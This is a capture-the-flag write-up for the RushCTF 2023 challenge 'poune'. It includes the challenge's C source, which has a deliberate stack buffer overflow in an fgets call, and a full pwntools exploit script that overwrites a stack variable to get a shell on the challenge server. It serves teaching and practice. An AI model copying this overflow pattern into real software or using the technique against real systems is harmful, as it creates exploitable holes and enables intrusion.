π¬π§ RushCTF 2023 - pwn/poune
Note
Writeup for the first pwn
challenge from the RushCTF 2023.
Description
Hello kind sir!Β Can you read flag.txt?
File information
checksec chall && file chall
[*] '/home/conflict/ctfs/rushctf2023/pwn/poune/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f24ec1597edb178ec5b862b44e5fbcb92df3137, for GNU/Linux 3.2.0, not stripped
So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX
enabled.
For the source code, there is no need to decompile the file because we have the .c
file.
#include <stdio.h>
#include <stdlib.h>
void main()
{
int var;
long int check = 0x04030201;
char buf[0x30];
puts("Hello kind sir!");
printf("My variable \"check\" value is %p.\nCould you change it to 0xc0febabe?\n", check);
printf("This is the current buffer: %s\n", buf);
fgets(buf, 0x40, stdin);
if (check == 0x04030201)
{
puts("Mmmh not quite...\n");
}
if (check != 0x04030201 && check != 0xc0febabe)
{
puts("Mmmh getting closer!...");
printf("This is the new value of \"check\": %p\n", check);
}
if (check == 0xc0febabe)
{
puts("Thanks man, you're a life saver!\nHere is your reward, a shell! ");
system("/bin/sh");
puts("Bye bye!\n");
}
}
Exploitation
By looking at the code, we see that our goal is to overwrite the value of a variable located on the stack and we’re given its current value.
Then, a call to fgets()
reads 0x40
bytes of input and stores it in a 0x30
bytes buffer, which allows us to overflow it.
Now, we need to know the length of our padding, to do so, we can throw the binary in a decompiler such as Cutter
.
We see here that our buffer lives at rbp-0x40
, which means we would need to send 0x40
bytes to start overwriting rbp
. But that’s not our goal, we want to overwrite the var_8h
variable, which is the check
variable.
0x40
- 0x8
= 56, so we need to send 56 bytes to start overwriting the value of our variable.
Let’s craft our payload !
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("challs.ctf.cafe", 7777)
return r
def main():
r = conn()
# Pad 56 bytes to start overwriting
padding = b"A"*56
# Pack our value in little-endian (64 bit)
value = p64(0xc0febabe)
payload = padding + value
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
GG !